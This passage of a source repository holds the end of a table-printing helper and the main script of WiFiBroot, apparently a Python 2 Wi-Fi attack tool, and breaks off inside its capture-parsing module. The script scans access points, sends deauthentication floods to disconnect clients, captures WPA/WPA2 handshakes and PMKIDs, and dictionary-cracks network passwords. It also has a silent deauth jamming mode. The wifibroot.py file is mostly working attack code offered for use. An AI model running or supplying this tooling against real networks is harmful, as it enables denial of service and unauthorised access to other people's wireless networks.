colwidths] 1397 | if is_multiline: 1398 | pad_row = lambda row, _: row # do it later, in _append_multiline_row 1399 | append_row = partial(_append_multiline_row, pad=pad) 1400 | else: 1401 | pad_row = _pad_row 1402 | append_row = _append_basic_row 1403 | 1404 | padded_headers = pad_row(headers, pad) 1405 | padded_rows = [pad_row(row, pad) for row in rows] 1406 | 1407 | if fmt.lineabove and "lineabove" not in hidden: 1408 | _append_line(lines, padded_widths, colaligns, fmt.lineabove) 1409 | 1410 | if padded_headers: 1411 | append_row(lines, padded_headers, padded_widths, colaligns, headerrow) 1412 | if fmt.linebelowheader and "linebelowheader" not in hidden: 1413 | _append_line(lines, padded_widths, colaligns, fmt.linebelowheader) 1414 | 1415 | if padded_rows and fmt.linebetweenrows and "linebetweenrows" not in hidden: 1416 | # initial rows with a line below 1417 | for row in padded_rows[:-1]: 1418 | append_row(lines, row, padded_widths, colaligns, fmt.datarow) 1419 | _append_line(lines, padded_widths, colaligns, fmt.linebetweenrows) 1420 | # the last row without a line below 1421 | append_row(lines, padded_rows[-1], padded_widths, colaligns, fmt.datarow) 1422 | else: 1423 | for row in padded_rows: 1424 | append_row(lines, row, padded_widths, colaligns, fmt.datarow) 1425 | 1426 | if fmt.linebelow and "linebelow" not in hidden: 1427 | _append_line(lines, padded_widths, colaligns, fmt.linebelow) 1428 | 1429 | if headers or rows: 1430 | return "\n".join(lines) 1431 | else: # a completely empty table 1432 | return "" 1433 | 1434 | 1435 | def _main(): 1436 | """\ 1437 | Usage: tabulate [options] [FILE ...] 1438 | 1439 | Pretty-print tabular data. 1440 | See also https://bitbucket.org/astanin/python-tabulate 1441 | 1442 | FILE a filename of the file with tabular data; 1443 | if "-" or missing, read data from stdin. 1444 | 1445 | Options: 1446 | 1447 | -h, --help show this message 1448 | -1, --header use the first row of data as a table header 1449 | -o FILE, --output FILE print table to FILE (default: stdout) 1450 | -s REGEXP, --sep REGEXP use a custom column separator (default: whitespace) 1451 | -F FPFMT, --float FPFMT floating point number format (default: g) 1452 | -f FMT, --format FMT set output table format; supported formats: 1453 | plain, simple, grid, fancy_grid, pipe, orgtbl, 1454 | rst, mediawiki, html, latex, latex_raw, 1455 | latex_booktabs, tsv 1456 | (default: simple) 1457 | """ 1458 | import getopt 1459 | import sys 1460 | import textwrap 1461 | usage = textwrap.dedent(_main.__doc__) 1462 | try: 1463 | opts, args = getopt.getopt(sys.argv[1:], 1464 | "h1o:s:F:f:", 1465 | ["help", "header", "output", "sep=", "float=", "format="]) 1466 | except getopt.GetoptError as e: 1467 | print(e) 1468 | print(usage) 1469 | sys.exit(2) 1470 | headers = [] 1471 | floatfmt = _DEFAULT_FLOATFMT 1472 | tablefmt = "simple" 1473 | sep = r"\s+" 1474 | outfile = "-" 1475 | for opt, value in opts: 1476 | if opt in ["-1", "--header"]: 1477 | headers = "firstrow" 1478 | elif opt in ["-o", "--output"]: 1479 | outfile = value 1480 | elif opt in ["-F", "--float"]: 1481 | floatfmt = value 1482 | elif opt in ["-f", "--format"]: 1483 | if value not in tabulate_formats: 1484 | print("%s is not a supported table format" % value) 1485 | print(usage) 1486 | sys.exit(3) 1487 | tablefmt = value 1488 | elif opt in ["-s", "--sep"]: 1489 | sep = value 1490 | elif opt in ["-h", "--help"]: 1491 | print(usage) 1492 | sys.exit(0) 1493 | files = [sys.stdin] if not args else args 1494 | with (sys.stdout if outfile == "-" else open(outfile, "w")) as out: 1495 | for f in files: 1496 | if f == "-": 1497 | f = sys.stdin 1498 | if _is_file(f): 1499 | _pprint_file(f, headers=headers, tablefmt=tablefmt, 1500 | sep=sep, floatfmt=floatfmt, file=out) 1501 | else: 1502 | with open(f) as fobj: 1503 | _pprint_file(fobj, headers=headers, tablefmt=tablefmt, 1504 | sep=sep, floatfmt=floatfmt, file=out) 1505 | 1506 | 1507 | def _pprint_file(fobject, headers, tablefmt, sep, floatfmt, file): 1508 | rows = fobject.readlines() 1509 | table = [re.split(sep, r.rstrip()) for r in rows if r.strip()] 1510 | print(tabulate(table, headers, tablefmt, floatfmt=floatfmt), file=file) 1511 | 1512 | 1513 | if __name__ == "__main__": 1514 | _main() 1515 | -------------------------------------------------------------------------------- /wifibroot.py: -------------------------------------------------------------------------------- 1 | # hash3lizer/wifibroot.py 2 | # Twitter: @hash3liZer 3 | # Website: https://www.shellvoide.com 4 | # Email: admin@shellvoide.com 5 | ############################# 6 | 7 | import optparse 8 | import os 9 | import sys 10 | import re 11 | import subprocess 12 | import threading 13 | import time 14 | import random 15 | import exceptions 16 | from pull import Pully 17 | from screen import Display 18 | from signal import signal, SIGINT, getsignal 19 | from wireless import Shifter 20 | from wireless import Sniper 21 | from wireless import PSK 22 | from wireless import eAPoL 23 | from wireless import PMKID 24 | from wireless import CAPTURE_PMKID 25 | from wireless import CAPTURE_HAND 26 | from wireless import DEAUTH 27 | from scapy.utils import rdpcap 28 | from scapy.utils import PcapWriter 29 | from utils import tabulate 30 | from utils import org 31 | from utils import Modes 32 | 33 | WRITE__ = '' 34 | DICTIONARY = '' 35 | V__ = bool(0) 36 | _KEY_ = None 37 | _HANDLER = getsignal(SIGINT) 38 | _HANDSHAKE = '' 39 | 40 | class interface: 41 | 42 | stop_hopper = 0 43 | __STATUS_END = 0 44 | cch = 1 45 | 46 | def __init__(self, iface): 47 | self.iface = iface 48 | self.interfaces = self.list_ifaces() 49 | self.check_help = '' 50 | self.check_man = self.check_man() 51 | self.check_mon = self.check_mon() 52 | 53 | def check_man(self): 54 | if self.is_iface(self.iface): 55 | if self.is_man(self.iface): 56 | return True 57 | else: 58 | self.check_help = "Wireless interface isn't in Managed Mode" 59 | return False 60 | else: 61 | self.check_help = "There's no such interface: %s" % (self.iface) 62 | return False 63 | 64 | def check_mon(self): 65 | if self.is_iface(self.iface): 66 | if self.is_mon(self.iface): 67 | return True 68 | else: 69 | self.check_help = "Wireless interface isn't in Monitor Mode" 70 | return False 71 | else: 72 | self.check_help = "There's no such interface: %s" % (self.iface) 73 | return False 74 | 75 | def list_ifaces(self): 76 | ifaces = [] 77 | dev = open('/proc/net/dev', 'r') 78 | data = dev.read() 79 | for facecard in re.findall('[a-zA-Z0-9]+:', data): 80 | ifaces.append(facecard.rstrip(":")) 81 | dev.close() 82 | return ifaces 83 | 84 | def is_iface(self, iface): 85 | if iface in self.interfaces: 86 | return True 87 | else: 88 | return False 89 | 90 | def is_mon(self, iface): 91 | co = subprocess.Popen(['iwconfig', iface], stdout=subprocess.PIPE) 92 | data = co.communicate()[0] 93 | card = re.findall('Mode:[A-Za-z]+', data)[0] 94 | if "Monitor" in card: 95 | return True 96 | else: 97 | return False 98 | 99 | def is_man(self, iface): 100 | co = subprocess.Popen(['iwconfig', iface], stdout=subprocess.PIPE) 101 | data = co.communicate()[0] 102 | card = re.findall('Mode:[A-Za-z]+', data)[0] 103 | if "Managed" in card: 104 | return True 105 | else: 106 | return False 107 | 108 | def put_channel(self, ch): 109 | os.system('iwconfig %s channel %s' % (self.iface, ch)) 110 | self.cch = int(ch) 111 | return ch 112 | 113 | def hopper(self): 114 | #if subprocess.call(['sudo','iwconfig'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) != 0: 115 | # pull.error('iwconfig not found. Make sure it is installed and you have neccassery privileges') 116 | # sys.exit(-1) 117 | thread = threading.Thread(target=self.hop_channels, name="hopper") 118 | thread.daemon = True 119 | thread.start() 120 | 121 | def hop_channels(self): 122 | n = 1 123 | while not self.stop_hopper: 124 | self.cch = n 125 | time.sleep(0.40) 126 | os.system('iwconfig %s channel %d' % (self.iface, n)) 127 | dig = int(random.random() * 14) 128 | if dig != 0 and dig != n: 129 | n = dig 130 | self.__STATUS_END = 1 131 | 132 | def shift_channel(self, ch): 133 | os.system('iwconfig %s channel %d' % (self.iface, ch)) 134 | return ch 135 | 136 | def put_mon(self): 137 | pass 138 | 139 | def put_man(self): 140 | pass 141 | 142 | class Sniffer: 143 | 144 | WiFiAP = [] 145 | 146 | def __init__(self, iface, bssid=None, essid=None): 147 | self.iface1 = iface 148 | self.bssid = bssid 149 | self.essid = essid 150 | self.shift = Shifter(self.iface1.iface, self.bssid, self.essid, V__) 151 | signal(SIGINT, self.break_shifter) 152 | self.aps() 153 | 154 | def aps(self): 155 | pull.up('Scanning! Press [CTRL+C] to stop.') 156 | time.sleep(1) 157 | self.screen = Display(V__) 158 | thread = threading.Thread(target=self.screen.Shifter, args=(self.shift, self.iface1,), name="Verbose Sniffer") 159 | thread.daemon = True 160 | thread.start() 161 | self.shift.run() 162 | 163 | def break_shifter(self, sig, frame): 164 | self.screen.shifter_break = True 165 | while not self.screen.Shifter_stopped: 166 | pass 167 | self.screen.clear() 168 | del self.screen 169 | signal( SIGINT, _HANDLER ) 170 | 171 | if V__: 172 | __HEADERS = [pull.BOLD+'NO', 'ESSID', 'PWR', 'ENC', 'CIPHER', 'AUTH', 'CH', 'BSSID', 'VENDOR', 'CL'+pull.END] 173 | else: 174 | __HEADERS = [pull.BOLD+'NO', 'ESSID', 'PWR', 'ENC', 'CIPHER', 'AUTH', 'CH', 'BSSID'+pull.END] 175 | tabulator__ = [] 176 | ### 177 | __sig_LIST = [] 178 | for ap in self.shift.results(): 179 | __sig_LIST.append(ap['pwr']) 180 | __sig_LIST = sorted(__sig_LIST, reverse=True) 181 | ### 182 | count = 1 183 | for sig in __sig_LIST: 184 | for ap in self.shift.results(): 185 | if ap['pwr'] == sig: 186 | ap['count'] = count 187 | count += 1; self.shift.results().remove(ap) 188 | self.WiFiAP.append(ap) 189 | ### 190 | for ap in self.WiFiAP: 191 | if V__: 192 | tabulator__.append([ap['count'], pull.GREEN+ap['essid']+pull.END, ap['pwr'], ap['auth'], ap['cipher'], \ 193 | ap['psk'], ap['channel'], ap['bssid'].upper(), pull.DARKCYAN+ap['vendor']+pull.END, ap['clients'] ]) 194 | else: 195 | tabulator__.append([ap['count'], pull.GREEN+ap['essid']+pull.END, ap['pwr'], ap['auth'], ap['cipher'], \ 196 | ap['psk'], ap['channel'], ap['bssid'].upper()]) 197 | print "\n"+tabulate(tabulator__, headers=__HEADERS)+"\n" 198 | os.kill(os.getpid(), SIGINT) 199 | 200 | class pmkid_GEN: 201 | 202 | def __init__(self, iface_instance, ap_instance, no_frames): 203 | self.ap_instance = ap_instance 204 | self.iface_instance = iface_instance 205 | self.pmkid = PMKID(self.ap_instance['bssid'], self.ap_instance['essid'], self.iface_instance.iface, self.ap_instance['beacon'],\ 206 | DICTIONARY, _KEY_, pull, V__, no_frames) 207 | self.channel = self.channel(self.ap_instance['channel']) 208 | 209 | def is_version2(self): 210 | if 'wpa2' in self.ap_instance['auth'].lower(): 211 | return True 212 | else: 213 | return False 214 | 215 | def auth_gen(self): 216 | to_return = self.pmkid.dev_conn() 217 | self.pmkid._PMKID__AUTH_STEP = False 218 | return to_return 219 | 220 | def asso_gen(self): 221 | _PACT = False 222 | while not _PACT: 223 | _PACT = self.pmkid.asso_conn() 224 | if not _PACT: # When Error was detected. 225 | pull.special("Times Up! Attempting to authenticate with Access Point.") 226 | self.auth_gen() 227 | return _PACT 228 | 229 | def lets_crack(self): 230 | _pass, _hash, _hash_ = self.pmkid.crack( WRITE__ ) 231 | if _pass is None: 232 | pull.error("Password Not Found in Dictionary. Try enlarging it!") 233 | sys.exit() 234 | else: 235 | pull.use("Password Found: %s%s%s" % (pull.BOLD, _pass, pull.END)) 236 | if V__: 237 | pull.right("PMKID: ") 238 | print _hash_ 239 | pull.right("PMK: ") 240 | print _hash 241 | 242 | def channel(self, _ch): 243 | self.iface_instance.put_channel(_ch) 244 | return _ch 245 | 246 | class Phazer: 247 | 248 | THEPOL = () 249 | 250 | def __init__(self, sniffer): 251 | self.iface = sniffer.iface1 252 | self.WiFiAP = sniffer.WiFiAP 253 | 254 | def count_input(self): 255 | while True: 256 | try: 257 | count = pull.question('Enter Your Target Number [q]uit/[n]: ') 258 | return count 259 | except: 260 | pass 261 | 262 | def get_input(self): 263 | while True: 264 | count = self.count_input() 265 | if count == 'q' or count == 'Q': 266 | sys.exit(0) 267 | for AP in self.WiFiAP: 268 | if str(AP['count']) == count: 269 | return AP 270 | 271 | def clients_sniff(self, _bss, _ess, _ch, _tm): 272 | _clip = Sniper(self.iface, _bss, _ess, _ch, _tm, pull, V__) 273 | pull.info("Scanning for Access Point Stations. Press [CTRL+C] to Stop.") 274 | signal(SIGINT, _HANDLER) 275 | _clip.cl_generator() 276 | signal(SIGINT, grace_exit) 277 | return _clip.clients() 278 | 279 | def save(self): 280 | global WRITE__ 281 | 282 | if WRITE__: 283 | _wr = PcapWriter(WRITE__, append=False, sync=True) 284 | _wr.write(self.THEPOL) 285 | pull.use("Handshake >> [%s] Count [%s] %s[Saved]%s" % (pull.DARKCYAN+WRITE__+pull.END, str(len(self.THEPOL)), pull.GREEN, pull.END )) 286 | else: 287 | pull.error("Handshake not saved. Use -w, --write for saving handshakes. ") 288 | 289 | def crack_shoot(self, _tgt, _hd=False): 290 | if not _hd: 291 | self.save() 292 | 293 | _crk = PSK(self.THEPOL, _tgt['essid'], _tgt['auth'], DICTIONARY, V__, _KEY_) 294 | _pass, _pmk, _ptk, _mic = _crk.broot() 295 | 296 | if _pass: 297 | pull.use("Found: %s" % (_pass)) 298 | pull.right("PMK: "); print _pmk 299 | pull.right("PTK: "); print _ptk 300 | pull.right("MIC: "); print _mic 301 | 302 | else: 303 | pull.error("Password not Found! Try enlarging your dictionary!") 304 | sys.exit(0) 305 | 306 | return 307 | 308 | def sniper_shoot(self, _bss, _ess, _ch, _clients, _tm, _deauth): 309 | pull.info("Time Interval [%s] -> Implies Gap b/w Frames is %d" % (pull.DARKCYAN+str(_tm)+pull.END, _tm)) 310 | _snip = Sniper(self.iface, _bss, _ess, _ch, _tm, pull, V__) 311 | for _ap, _cls in _clients.items(): 312 | if _ap == _bss: 313 | while not len(self.THEPOL) >= 4: 314 | for _cl, _pwr in _cls: 315 | if V__: 316 | pull.up("%i-> %s (%s) %s><%s %s (%s) %s[Deauthentication]%s" % (_deauth, _cl.replace(':', '').upper(), pull.DARKCYAN+org(_cl).org+pull.END,\ 317 | pull.RED, pull.END, _bss.replace(':', '').upper(), pull.DARKCYAN+org(_bss).org+pull.END, pull.RED, pull.END)) 318 | else: 319 | pull.up("%i-> %s %s><%s %s %s[Deauthentication]%s" % (_deauth, _cl.replace(':', '').upper(),\ 320 | pull.RED, pull.END, _bss.replace(':', '').upper(), pull.RED, pull.END)) 321 | _sht = threading.Thread(target=_snip.shoot, args=(_cl, _deauth, self), name="T Shooter") 322 | _sht.daemon = True 323 | _sht.start(); 324 | time.sleep(_tm) 325 | pull.use("Handshake %s (%s) %s[Captured]%s" % (_bss.replace(':', '').upper(), pull.DARKCYAN+org(_bss).org+pull.END, \ 326 | pull.GREEN, pull.END)); break 327 | 328 | class Moder: 329 | 330 | def __init__(self, _n, _sniff=None, _int=None): 331 | self.mode = _n 332 | self.interface_inst = _int 333 | self._sniff = _sniff 334 | 335 | def hand_mode_ext(self, _tgt, _ph): 336 | pull.up("Verifying... Looking for %s[4 EAPOLs]%s" % (pull.BLUE, pull.END)) 337 | _eap = eAPoL(_tgt['bssid']) 338 | _pkts = rdpcap(_HANDSHAKE); _valid = False 339 | 340 | for pkt in _pkts: 341 | _yorn = _eap.check(pkt) 342 | if _yorn: 343 | _valid = True; break 344 | 345 | if _valid: 346 | _ph.THEPOL = _eap.get_pols() 347 | _ph.crack_shoot(_tgt, True) 348 | else: 349 | self.pull.error("Handshake not Found. Please provide a valid handshake!") 350 | 351 | 352 | def hand_mode(self, _ph ,_tgt, _tm, _deauth): 353 | if 'WPA' in _tgt['auth']: 354 | self.interface_inst.stop_hopper = 1; time.sleep(1) 355 | self.interface_inst.put_channel(_tgt['channel']) 356 | if not _HANDSHAKE: 357 | pull.info("Changing Channel to %s %s[SuccessFul]%s" % (_tgt['channel'], pull.GREEN, pull.END)) 358 | _cls = self._sniff.shift._Shifter__ALSA_CLIENTS 359 | _yorn = pull.question("AP Clients %s[%s]%s Scan Further?[Y/n] " % (pull.YELLOW, _tgt['clients'], pull.END)) 360 | if _yorn == 'y' or _yorn == 'Y': 361 | _cls = _ph.clients_sniff(_tgt['bssid'], _tgt['essid'], _tgt['channel'], _tm) 362 | if len(_cls) >= 1: 363 | _ph.sniper_shoot(_tgt['bssid'], _tgt['essid'], _tgt['channel'], _cls, _tm, _deauth) 364 | _ph.crack_shoot(_tgt) 365 | else: 366 | pull.special("Found Clients [0]. Shutting Down!") 367 | sys.exit(1) 368 | else: 369 | self.hand_mode_ext(_tgt, _ph) 370 | else: 371 | pull.special("The specified mode can only be used for WPA/WPA2 Networks") 372 | sys.exit(-1) 373 | 374 | def crack_mode(self, _type, _file, _ess): 375 | if _type == 1: 376 | _capture = CAPTURE_HAND(pull, _file, DICTIONARY, _ess, V__) 377 | if _capture.verify(): 378 | _capture.organize() 379 | _capture.loop() 380 | else: 381 | pull.error("Invalid Capture! Are you sure this is the valid capture?") 382 | sys.exit(-1) 383 | elif _type == 2: 384 | _capture = CAPTURE_PMKID(pull, _file, DICTIONARY, V__) 385 | if _capture.verify(): 386 | _capture.organize() 387 | _capture.loop() 388 | else: 389 | pull.error("Invalid Capture! Are you sure this is the valid capture?") 390 | sys.exit(-1) 391 | 392 | def silent_deauth_mode(self, iface, _deauth, _ap, _cl, _count): 393 | _silent = DEAUTH(iface.iface, _deauth, _ap, _cl, _count, pull, V__) 394 | _silent.locate() 395 | if _silent.verify(): 396 | _silent.jam() 397 | else: 398 | pull.error("Not able to Find such network %s[%s]%s" % (pull.RED, _ap.replace(':', '').upper(), pull.END )); sys.exit(-1) 399 | 400 | 401 | ########################## 402 | # DIRECT FUNCTIONS 403 | ########################## 404 | 405 | def grace_exit(sig, frame): 406 | pull.special("Closing. Cleaning up the mess! ") 407 | time.sleep(0.50) 408 | sys.exit(0) 409 | 410 | def _writer(options): 411 | if options.write != None: 412 | if os.path.isfile(options.write): 413 | pull.special("File Already Exists! %s[%s]%s" % (pull.RED, options.write, pull.END)) 414 | sys.exit(-1) 415 | else: 416 | return options.write 417 | else: 418 | return str() 419 | 420 | def _handshake(options): 421 | if options.handshake != None: 422 | if os.path.isfile(options.handshake): 423 | return options.handshake 424 | else: 425 | pull.error("No such File %s[%s]%s" % (pull.RED, options.handshake, pull.END)) 426 | sys.exit(-1) 427 | else: 428 | return str() 429 | 430 | def _wordlister(options): 431 | if options.dictionary == None: 432 | pull.error("No dictionary was provided. Use -h or --help for more information. ") 433 | sys.exit(-1) 434 | else: 435 | if os.path.isfile(options.dictionary): 436 | _lns = open(options.dictionary).read().splitlines() 437 | pull.info("Path: {%s} Lines {%s}" % (pull.BLUE+options.dictionary+pull.END, pull.BLUE+str(len(_lns))+pull.END)) 438 | return options.dictionary 439 | else: 440 | pull.error('No such File: %s' % (options.dictionary)) 441 | sys.exit(-1) 442 | 443 | def _typer(options): 444 | if not options.type == None: 445 | if options.type == 'handshake': 446 | return 1 447 | elif options.type == 'pmkid': 448 | return 2 449 | else: 450 | pull.error('Unknown Captured type specifed. Use --list-types option to see the list.'); sys.exit(-1) 451 | else: 452 | pull.special("No Capture Type Specified. See the manual (-h, --help)"); sys.exit(-1) 453 | 454 | def _channel_verifier(ch): 455 | __channels = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14) 456 | if ch in __channels: 457 | return ch 458 | else: 459 | return False 460 | 461 | def _channeler(options): 462 | if options.interface != None: 463 | iface = interface(options.interface) 464 | if iface.check_mon == False: 465 | pull.error(iface.check_help) 466 | sys.exit(-1) 467 | if options.channel == None: 468 | pull.special("Channel Specified: %s Hopper Status [%s]" % (pull.RED+"NONE"+pull.END, pull.GREEN+"Running"+pull.END)) 469 | iface.hopper() 470 | else: 471 | if _channel_verifier(options.channel): 472 | iface.put_channel(options.channel) 473 | pull.info("Channel Specified: %s Hopper Status [%s]" % (pull.GREEN+str(options.channel)+pull.END, pull.GREEN+"Stopped"+pull.END)) 474 | else: 475 | pull.special('Invalid Channel Detected! Hopper Status [%s]' % (pull.GREEN+"Running"+pull.END)) 476 | iface.hopper() 477 | return iface 478 | else: 479 | pull.error('Interface Required. Please supply -i argument.') 480 | sys.exit(-1) 481 | 482 | def _silfer(iface, options): 483 | if options.essid != None or options.bssid != None: 484 | if options.essid != None and options.bssid != None: 485 | sniffer = Sniffer(iface, options.bssid, options.essid) 486 | elif options.bssid != None: 487 | sniffer = Sniffer(iface, bssid=options.bssid) 488 | elif options.essid != None: 489 | sniffer = Sniffer(iface, essid=options.essid) 490 | else: 491 | sniffer = Sniffer(iface) 492 | 493 | return sniffer 494 | 495 | def _crack_filer(options): 496 | if options.read == None: 497 | pull.special("Please Specify your capture path. See manual!"); sys.exit(-1) 498 | else: 499 | _file = options.read 500 | if os.path.isfile(_file): 501 | return _file 502 | else: 503 | pull.special("No Such File: %s[%s]%s" % (pull.RED, _file, pull.END)); sys.exit(-1) 504 | 505 | def _detargeter(options): 506 | _ap, _cl = '', '' 507 | if options.ap: 508 | if re.match("^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})", options.ap, re.I): 509 | _ap = options.ap 510 | else: 511 | pull.error("Not a Valid MAC address for Access Point!"); sys.exit(-1) 512 | if options.client: 513 | if re.match("^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})", options.client, re.I): 514 | _cl = options.client 515 | else: 516 | pull.error("Not a Valid MAC address for STA!"); sys.exit(-1) 517 | return _ap.lower(), _cl.lower() 518 | 519 | def _deauth_counter(options): 520 | if options.deauthcount is None: 521 | pull.error("How much frames you want to send? Specify -0/--count option."); sys.exit(-1) 522 | 523 | def main(): 524 | global WRITE__, DICTIONARY, NEW_HAND, V__, _KEY_, _HANDSHAKE 525 | global _CRACK 526 | 527 | parser = optparse.OptionParser(add_help_option=False) 528 | parser.add_option('-h', '--help', dest='help', default=False, action="store_true", help="Show this help manual") 529 | parser.add_option('-m', '--mode', dest='mode', type='int', help="Mode to Use. ") 530 | parser.add_option('-i', '--interface', dest="interface", type='string', help="Monitor Wireless Interface to use") 531 | parser.add_option('-e', '--essid', dest="essid", type='string', help="Targets AP's with the specified ESSIDs") 532 | parser.add_option('-b', '--bssid', dest="bssid", type='string', help="Targets AP's with the specified BSSIDs") 533 | parser.add_option('-c', '--channel', dest="channel", type='int', help="Listen on specified channel.") 534 | parser.add_option('-d', '--dictionary', dest='dictionary', type='string', help="Dictionary containing Passwords") 535 | parser.add_option('-w', '--write', dest='write', type='string', help="Write Data to a file. ") 536 | parser.add_option('-t', '--timeout', dest="timeout", default=15, type='int', help="Specify timeout for locating target clients. ") 537 | parser.add_option('-v', '--verbose', dest="verbose", default=True, action="store_true", help="Print hashes and verbose messages. ") 538 | parser.add_option('', '--handshake', dest='handshake',type='string', help='Handshake to use, instead of dissociating') 539 | parser.add_option('', '--deauth', dest='deauth', type='int', default=32, help="Deauth Packets to send.") 540 | parser.add_option('', '--frames', dest='frames', type='int', default=0, help="Number of Auth and Association Frames") 541 | parser.add_option('', '--type', dest='type', type='string', help="Type of Cracking") 542 | parser.add_option('', '--list-types', dest='listTypes', default=False, action="store_true", help="List of Available types") 543 | parser.add_option('-r', '--read', dest='read', type='string', help='Read capture in mode 3') 544 | 545 | parser.add_option('', '--ap', dest='ap', type="string", help="Access Point BSSID") 546 | parser.add_option('', '--client', dest='client', type="string", help="STA (Client) BSSID") 547 | parser.add_option('-0', '--count', dest='deauthcount', type="int", help="Number of Deauth Frames to Send") 548 | 549 | (options, args) = parser.parse_args() 550 | 551 | if options.help and not(options.mode): 552 | pull.modes() 553 | sys.exit(0) 554 | 555 | if options.verbose == True: 556 | V__ = bool(1) 557 | 558 | if not Modes().get_mode(options.mode): 559 | pull.special("No Mode Specified! Use -h, --help option to see available modes.") 560 | sys.exit(-1) 561 | 562 | if options.mode == 1: 563 | if options.help: 564 | pull.help(1); sys.exit(0) 565 | WRITE__ = _writer(options); _HANDSHAKE = _handshake(options); DICTIONARY = _wordlister(options) 566 | iface = _channeler(options); _silf = _silfer(iface, options) 567 | phaser = Phazer(_silf); _tgt = phaser.get_input(); signal(SIGINT, grace_exit) 568 | _modler = Moder(options.mode, _silf, iface) 569 | _modler.hand_mode(phaser, _tgt, options.timeout, options.deauth) 570 | 571 | elif options.mode == 2: 572 | if options.help: 573 | pull.help(2); sys.exit(0) 574 | WRITE__ = _writer(options); DICTIONARY = _wordlister(options) 575 | iface = _channeler(options); _silf = _silfer(iface, options) 576 | pmk = pmkid_GEN(iface, Phazer(_silf).get_input(), options.frames) 577 | signal(SIGINT, grace_exit) 578 | if pmk.is_version2(): 579 | if pmk.auth_gen(): 580 | if pmk.asso_gen(): 581 | pmk.lets_crack() 582 | else: 583 | pull.special("This attack only works for WPA2 networks") 584 | sys.exit(0) 585 | 586 | elif options.mode == 3: 587 | if options.help: 588 | pull.help(3); sys.exit(0) 589 | if options.listTypes: 590 | pull.listTypes(); sys.exit(0) 591 | _type = _typer(options); DICTIONARY = _wordlister(options); _file = _crack_filer(options) 592 | _modler = Moder(options.mode) 593 | _modler.crack_mode(_type, _file, options.essid) 594 | 595 | elif options.mode == 4: 596 | if options.help: 597 | pull.help(4); sys.exit(0) 598 | iface = _channeler(options); _modler = Moder(options.mode); _deauth_counter(options) 599 | signal(SIGINT, grace_exit) 600 | _tgt = _detargeter(options); _modler.silent_deauth_mode(iface, options.deauth, _tgt[0], _tgt[1], options.deauthcount) 601 | 602 | 603 | if __name__ == "__main__": 604 | pull = Pully() 605 | pull.logo() 606 | if not 'linux' in sys.platform: 607 | pull.special("Not Supportable Operating System!") 608 | sys.exit(1) 609 | main() 610 | -------------------------------------------------------------------------------- /wireless/__init__.py: -------------------------------------------------------------------------------- 1 | from wireless.shifter import Shifter 2 | from wireless.sniper import Sniper 3 | from wireless.cracker import PSK 4 | from wireless.cracker import eAPoL 5 | from wireless.pmkid import PMKID 6 | from wireless.captures import CAPTURE_PMKID 7 | from wireless.captures import CAPTURE_HAND 8 | from wireless.connector import DEAUTH -------------------------------------------------------------------------------- /wireless/captures.py: -------------------------------------------------------------------------------- 1 | from scapy.layers.dot11 import Dot11 2 | from scapy.layers.dot11 import Raw 3 | from scapy.layers.dot11 import Dot11Auth 4 | from scapy.layers.dot11 import Dot11AssoReq 5 | from scapy.layers.dot11 import Dot11AssoResp 6 | from scapy.layers.dot11 import RadioTap 7 | from scapy.layers.dot11 import Dot11Elt 8 | from scapy.utils import rdpcap 9 | from pbkdf2 import PBKDF2 10 | from utils import org 11 | from scapy.arch import get_if_raw_hwaddr 12 | try: 13 | from scapy.layers.eap import EAPOL 14 | except: 15 | from scapy.layers.dot11 import EAPOL 16 | import threading 17 | import time 18 | import binascii 19 | import hmac 20 | import hashlib 21 | import string 22 | import sys 23 | import sha 24 | 25 | 26 | class CAPTURE_HAND: 27 | 28 | __POLS = [0, 0, 0, 0] 29 | __POL = False 30 | __NULL_ = "\x00" 31 | 32 | def __init__(self, pull, _file, _dict, _ess, _v): 33 | self.verbose = _v 34 | self.pull = pull 35 | self.essid = self.get_ess(_ess) 36 | self.file = _file 37 | self.passes = self.passer(_dict) 38 | self.pkts = self.opener(_file) 39 | self.bssid = '' 40 | self.cl = '' 41 | 42 | def opener(self, _file): 43 | self.pull.up("Reading File: %s[%s]%s" % (self.pull.BLUE, _file, self.pull.END)) 44 | return rdpcap(_file) 45 | 46 | def get_ess(self, _ess): 47 | if _ess: 48 | return _ess 49 | else: 50 | self.pull.error("SSID no Specified. Specify -e, --essid option for handshake") 51 | sys.exit() 52 | 53 | def passer(self, _dict): 54 | file_ = open(_dict, 'r') 55 | _lines = file_.read().splitlines() 56 | _liner = [] 57 | for l in _lines: 58 | _liner.append(l.rstrip("\n")) 59 | return _liner 60 | 61 | def hexdump(self, src, length=16, sep='.'): 62 | DISPLAY = string.digits + string.letters + string.punctuation 63 | FILTER = ''.join(((x if x in DISPLAY else '.') for x in map(chr, range(256)))) 64 | lines = [] 65 | for c in xrange(0, len(src), length): 66 | chars = src[c:c+length] 67 | hex = ' '.join(["%02x" % ord(x) for x in chars]) 68 | if len(hex) > 24: 69 | hex = "%s %s" % (hex[:24], hex[24:]) 70 | printable = ''.join(["%s" % FILTER[ord(x)] for x in chars]) 71 | lines.append("%08x: %-*s |%s|\n" % (c, length*3, hex, printable)) 72 | return ''.join(lines) 73 | 74 | def verify(self): 75 | self.pull.up("Validating Received Captures..."); time.sleep(2) 76 | for pkt in self.pkts: 77 | self.check(pkt) 78 | if 0 not in self.__POLS: 79 | self.__POL = True; break 80 | if self.__POL: 81 | if self.verbose: 82 | self.pull.info("EAPOL %s (%s) %s<>%s %s (%s) %s[RECEIVED]%s" % (self.bssid.replace(':','').upper(), self.pull.DARKCYAN+org(self.bssid).org+self.pull.END, self.pull.RED, self.pull.END, \ 83 | self.cl.replace(':','').upper(), self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.YELLOW, self.pull.END)) 84 | else: 85 | self.pull.info("EAPOL %s %s<>%s %s %s[RECEIVED]%s" % (self.bssid.replace(':','').upper(), self.pull.RED, self.pull.END, \ 86 | self.cl.replace(':','').upper(), self.pull.YELLOW, self.pull.END)) 87 | return True 88 | else: 89 | return False 90 | 91 | def check(self, pkt): 92 | fNONCE = "0000000000000000000000000000000000000000000000000000000000000000" 93 | fMIC = "00000000000000000000000000000000" 94 | 95 | if pkt.haslayer(EAPOL): 96 | __sn = pkt[Dot11].addr2 97 | __rc = pkt[Dot11].addr1 98 | to_DS = pkt.getlayer(Dot11).FCfield & 0x1 !=0 99 | from_DS = pkt.getlayer(Dot11).FCfield & 0x2 !=0 100 | 101 | if from_DS == True: 102 | nonce = 